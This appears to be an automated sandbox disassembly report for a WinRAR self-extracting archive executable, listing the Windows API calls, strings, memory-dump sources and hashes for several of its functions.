DialogBoxParamW.USER32 ref: 00007FF6FE1AC0D7
EndDialog.USER32 ref: 00007FF6FE1AC0EF
EnableWindow.USER32 ref: 00007FF6FE1AC2A6
SendMessageW.USER32 ref: 00007FF6FE1AC2F8
ShellExecuteExW.SHELL32 ref: 00007FF6FE1AB95B

Part of subcall function 00007FF6FE19AAE0: LoadStringW.USER32 ref: 00007FF6FE19AB67
Part of subcall function 00007FF6FE19AAE0: LoadStringW.USER32 ref: 00007FF6FE19AB80

SendMessageW.USER32 ref: 00007FF6FE1ABEC3
SendDlgItemMessageW.USER32 ref: 00007FF6FE1ABEEA
GetDlgItem.USER32 ref: 00007FF6FE1ABEF8
SendMessageW.USER32 ref: 00007FF6FE1ABF12
GetDlgItem.USER32 ref: 00007FF6FE1ABF4F
SetDlgItemTextW.USER32 ref: 00007FF6FE1ABFEC
SetDlgItemTextW.USER32 ref: 00007FF6FE1AC004
SetDlgItemTextW.USER32 ref: 00007FF6FE1AC321
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AC363
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AC369
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AC36F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AC375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AC37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AC381
SendDlgItemMessageW.USER32 ref: 00007FF6FE1AC449
EndDialog.USER32 ref: 00007FF6FE1AC463
GetDlgItem.USER32 ref: 00007FF6FE1AC491
SetFocus.USER32 ref: 00007FF6FE1AC49A
SendDlgItemMessageW.USER32 ref: 00007FF6FE1AC53E
FindFirstFileW.KERNEL32 ref: 00007FF6FE1AC562
FindClose.KERNEL32 ref: 00007FF6FE1AC68A
SendDlgItemMessageW.USER32 ref: 00007FF6FE1AC7AF

Part of subcall function 00007FF6FE18129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE181396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1ACAA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1ACAAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1ACAB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1ACABB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1ACAC1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1ACAC7

Strings

p, xrefs: 00007FF6FE1AB7AB
STARTDLG, xrefs: 00007FF6FE1AB1CA
__tmp_rar_sfx_access_check_, xrefs: 00007FF6FE1AB6A9
LICENSEDLG, xrefs: 00007FF6FE1AC0C9
winrarsfxmappingfile.tmp, xrefs: 00007FF6FE1AB8E0
runas, xrefs: 00007FF6FE1AB7C9
@, xrefs: 00007FF6FE1AB7B6
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF6FE1AB799
%s %s, xrefs: 00007FF6FE1AC6D9, 00007FF6FE1AC946
REPLACEFILEDLG, xrefs: 00007FF6FE1AC3D3

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Item$Message$_invalid_parameter_noinfo_noreturn$Send$DialogText$File$ErrorLast$CloseFindFocusLoadStringViewWindow$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleLineMappingParamShellSleepTickTranslateUnmap
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 255727823-2702805183
Opcode ID: 83516b496832df66609d2f7752fbed995108ff099c8edb5f76a574fc7c44a595
Instruction ID: 8fe1ba6ee1c6381269f7452a02f1b7093a378df598881c83728ee629883a5ffe
Opcode Fuzzy Hash: 83516b496832df66609d2f7752fbed995108ff099c8edb5f76a574fc7c44a595
Instruction Fuzzy Hash: 9FD29462E49A8241FB21DB26E8546FA6B51FFE5B80F404135F96D87AE5FE3CE548C300

Function 00007FF6FE1ACE88 Relevance: 65.0, APIs: 26, Strings: 10, Instructions: 1963windowfileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6FE1AD5F3
SendMessageW.USER32 ref: 00007FF6FE1AD626
SendMessageW.USER32 ref: 00007FF6FE1AD655
MoveFileW.KERNEL32 ref: 00007FF6FE1ADB4B
MoveFileExW.KERNEL32 ref: 00007FF6FE1ADB69
GetTempPathW.KERNEL32 ref: 00007FF6FE1ADC49

Part of subcall function 00007FF6FE181FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181FFB

EndDialog.USER32 ref: 00007FF6FE1ADFCA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE1AEEE3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEEEF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF07
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF0D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF13
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF25
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF2B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF37
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF3D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF49
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AEF5B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE1AEF67
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE1AEF73

Strings

<br>, xrefs: 00007FF6FE1AD6DA, 00007FF6FE1AD6E9
ProgramFilesDir, xrefs: 00007FF6FE1AD4F0
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF6FE1AD501
.tmp, xrefs: 00007FF6FE1ADA85
.lnk, xrefs: 00007FF6FE1AE406, 00007FF6FE1AE415
lnk, xrefs: 00007FF6FE1AE3CA, 00007FF6FE1AE3D9
HIDE, xrefs: 00007FF6FE1AE9E5, 00007FF6FE1AE9F4
MAX, xrefs: 00007FF6FE1AEA82, 00007FF6FE1AEA91
@set:user, xrefs: 00007FF6FE1ADD96, 00007FF6FE1ADDA5
MIN, xrefs: 00007FF6FE1AEAE5, 00007FF6FE1AEAF4

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$FileMessageMoveSend$DialogItemPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 3007431893-3916287355
Opcode ID: 465fa9c0b495f8b61847ecd005979357875d1cda7aa02ff290f8600b24eee8b0
Instruction ID: ec42bbd84eefdcb69cb4ce8222cb508591ec99f10cddcc8accd173fd144e11e4
Opcode Fuzzy Hash: 465fa9c0b495f8b61847ecd005979357875d1cda7aa02ff290f8600b24eee8b0
Instruction Fuzzy Hash: 02139462F04B4285FB10DF66D8402FD2BA1FBA4798F500536EA6D97AD9EF38D589C340

Function 00007FF6FE1B0754 Relevance: 45.9, APIs: 21, Strings: 5, Instructions: 380
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FE19DFD0: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E018
Part of subcall function 00007FF6FE19DFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E030
Part of subcall function 00007FF6FE19DFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6FE19E05D

Part of subcall function 00007FF6FE1962DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FE1962F2
Part of subcall function 00007FF6FE1962DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FE19632C

Part of subcall function 00007FF6FE1A946C: OleInitialize.OLE32 ref: 00007FF6FE1A9486
Part of subcall function 00007FF6FE1A946C: SHGetMalloc.SHELL32 ref: 00007FF6FE1A94D4

GetCommandLineW.KERNEL32 ref: 00007FF6FE1B096E
OpenFileMappingW.KERNEL32 ref: 00007FF6FE1B0A07
MapViewOfFile.KERNEL32 ref: 00007FF6FE1B0A30
UnmapViewOfFile.KERNEL32 ref: 00007FF6FE1B0A46
MapViewOfFile.KERNEL32 ref: 00007FF6FE1B0A63
UnmapViewOfFile.KERNEL32 ref: 00007FF6FE1B0ACA
CloseHandle.KERNEL32 ref: 00007FF6FE1B0AD3
SetEnvironmentVariableW.KERNELBASE ref: 00007FF6FE1B0BAD
GetLocalTime.KERNEL32 ref: 00007FF6FE1B0BB8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FE1B0C13
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6FE1B0C26
GetModuleHandleW.KERNEL32 ref: 00007FF6FE1B0C2E
LoadIconW.USER32 ref: 00007FF6FE1B0C4D
DialogBoxParamW.USER32 ref: 00007FF6FE1B0CB6
Sleep.KERNEL32 ref: 00007FF6FE1B0CE6
DeleteObject.GDI32 ref: 00007FF6FE1B0D0D
DeleteObject.GDI32 ref: 00007FF6FE1B0D1F
CloseHandle.KERNEL32 ref: 00007FF6FE1B0D67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B0DD7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B0DDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1B0DE3

Part of subcall function 00007FF6FE1AFD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF6FE1AFD43
Part of subcall function 00007FF6FE1AFD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF6FE1AFDBC

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF6FE1B0C02
STARTDLG, xrefs: 00007FF6FE1B0CA5
winrarsfxmappingfile.tmp, xrefs: 00007FF6FE1B09F9
sfxname, xrefs: 00007FF6FE1B0B9B
sfxstime, xrefs: 00007FF6FE1B0C1F

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 1048086575-3710569615
Opcode ID: cf857dfdb846402a04b639880a0f56ecddc48e970ed32f05d0be7d60c6edf358
Instruction ID: 790860f302ce53ab02e9c9bee46b50e15b71ba03b0bc6372a9971c38413533b2
Opcode Fuzzy Hash: cf857dfdb846402a04b639880a0f56ecddc48e970ed32f05d0be7d60c6edf358
Instruction Fuzzy Hash: B8124161E19B8685EB10DB26E8452B96B62FFE4794F404235FA6D86BE5FF3CE144C300

Function 00007FF6FE19A4AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FE19A504

Part of subcall function 00007FF6FE1A0F68: WideCharToMultiByte.KERNEL32 ref: 00007FF6FE1A0F99

SetDlgItemTextW.USER32 ref: 00007FF6FE19A573
GetWindowRect.USER32 ref: 00007FF6FE19A5AD
GetClientRect.USER32 ref: 00007FF6FE19A5BB
GetWindowLongPtrW.USER32 ref: 00007FF6FE19A66C
GetWindowRect.USER32 ref: 00007FF6FE19A6B2
SetWindowTextW.USER32 ref: 00007FF6FE19A6EC
GetSystemMetrics.USER32 ref: 00007FF6FE19A6F7
GetWindow.USER32 ref: 00007FF6FE19A708
GetWindowRect.USER32 ref: 00007FF6FE19A746
GetWindow.USER32 ref: 00007FF6FE19A808

Strings

CAPTION, xrefs: 00007FF6FE19A6CF
$%s:, xrefs: 00007FF6FE19A4EF

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction ID: 68cc76716d87b0572f3b3c7c1c7027f2d5f91ff5fe6773d4c7a6c7cbb95f6615
Opcode Fuzzy Hash: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction Fuzzy Hash: 8E91B672F1864286E714DF2AA80066EBBA1FBD4784F445535FE5D97B98EE3CE805CB00

Function 00007FF6FE1A8624 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32 ref: 00007FF6FE1A863D
SizeofResource.KERNEL32 ref: 00007FF6FE1A8659
LoadResource.KERNEL32 ref: 00007FF6FE1A8673
LockResource.KERNEL32 ref: 00007FF6FE1A8685
GlobalAlloc.KERNELBASE ref: 00007FF6FE1A86A6
GlobalLock.KERNEL32 ref: 00007FF6FE1A86BB
CreateStreamOnHGlobal.COMBASE ref: 00007FF6FE1A86E8
GdipAlloc.GDIPLUS ref: 00007FF6FE1A86FE
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF6FE1A8769
GlobalUnlock.KERNEL32 ref: 00007FF6FE1A878C
GlobalFree.KERNEL32 ref: 00007FF6FE1A8795

Strings

PNG, xrefs: 00007FF6FE1A862F

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction ID: dc6e0d4a43d924d1f842795150475b6da666e3faf18668a6b37d8cb23a15e456
Opcode Fuzzy Hash: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction Fuzzy Hash: 33410925F19A0281EB05DB979848379ABA0AFE8F94F044435EA2DC77E4FE7CE449C700

Function 00007FF6FE18F930 Relevance: 17.2, APIs: 8, Strings: 1, Instructions: 1417COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191239
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19123F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191245
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19124B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191251
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191257
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19125D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191263

Strings

__tmp_reference_source_, xrefs: 00007FF6FE18FCCF, 00007FF6FE18FCDE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: d0e6c7c07de011f9d1d4fd04177219c70b4fe0a47e1a326b15a4d61e2b0fa1d9
Instruction ID: e8a9b6851ef125d4d252e07a5119b3822a39255ca6bd9ff45a11dbe7ab2c636a
Opcode Fuzzy Hash: d0e6c7c07de011f9d1d4fd04177219c70b4fe0a47e1a326b15a4d61e2b0fa1d9
Instruction Fuzzy Hash: DBE27562E0C6C192EB64CB26E1403AE6B61FBE5750F444132EBAD936E9EF3CE555C700

Function 00007FF6FE184840 Relevance: 12.1, APIs: 5, Strings: 1, Instructions: 1624COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18511E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE185124
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18512A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE185E16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE185E1C

Strings

CMT, xrefs: 00007FF6FE1859B2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: CMT
API String ID: 3668304517-2756464174
Opcode ID: 3621ef844e84e6c8b5ed89fe876b50e8c17ab69de9b061cb775712f64666389b
Instruction ID: 23fdf40e2ebab8debc3d1e3bff14b8d910fda463783ecec617927178775378c6
Opcode Fuzzy Hash: 3621ef844e84e6c8b5ed89fe876b50e8c17ab69de9b061cb775712f64666389b
Instruction Fuzzy Hash: 35E2DF22F0C68286EB18DB66D4502FD6BA1FBA5784F440135EA6E877D6EF3CE655C300

Function 00007FF6FE1940BC Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF6FE19410B
FindFirstFileW.KERNELBASE ref: 00007FF6FE19415E
GetLastError.KERNEL32 ref: 00007FF6FE1941AF
FindNextFileW.KERNEL32 ref: 00007FF6FE1941D7
GetLastError.KERNEL32 ref: 00007FF6FE1941E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19430F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE194315

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 3ee96c9aed3c94a745cca2dc02a0ae9902b722a9ff44476fc619c6065aa41b54
Instruction ID: b03f5d262f62fcb6ef0d914dcd4243f20c7f64da041266a7e5f70a36a165aeac
Opcode Fuzzy Hash: 3ee96c9aed3c94a745cca2dc02a0ae9902b722a9ff44476fc619c6065aa41b54
Instruction Fuzzy Hash: CA617162E0864681EB10DB2AE88026D6761FBE97A4F505331FABD877D9EF3CE554C700

Function 00007FF6FE185E24 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 586COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF6FE1859B2, 00007FF6FE18675B

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 92e72442b0651b6fe78cc2a3e1d7e8b257f9506ac908177fd119fb022d21258c
Instruction ID: 26ddd335371aae9232a6afbe46dbba2b75ec333509daafc5b254e180404d735f
Opcode Fuzzy Hash: 92e72442b0651b6fe78cc2a3e1d7e8b257f9506ac908177fd119fb022d21258c
Instruction Fuzzy Hash: 3842A362F0C68196EB18DB76D1512FD7BA1EBA1744F400136EB6E936D6EF38E658C300

Function 00007FF6FE1A1F20 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d815108fe1d55ff87d4c2cc37bd82faefe2d830e8a86587ef2118bcfed6bbcfe
Instruction ID: 5fbe3f283542cb50294a156bccd4216b51280bb8c71c8c5e529d6c0f9b2ff6b2
Opcode Fuzzy Hash: d815108fe1d55ff87d4c2cc37bd82faefe2d830e8a86587ef2118bcfed6bbcfe
Instruction Fuzzy Hash: 5DE1C762E4828246EB74CF2AA04427D7B91FBA4B48F054135EB6EC77C5EE3CE559C704

Function 00007FF6FE1A3484 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

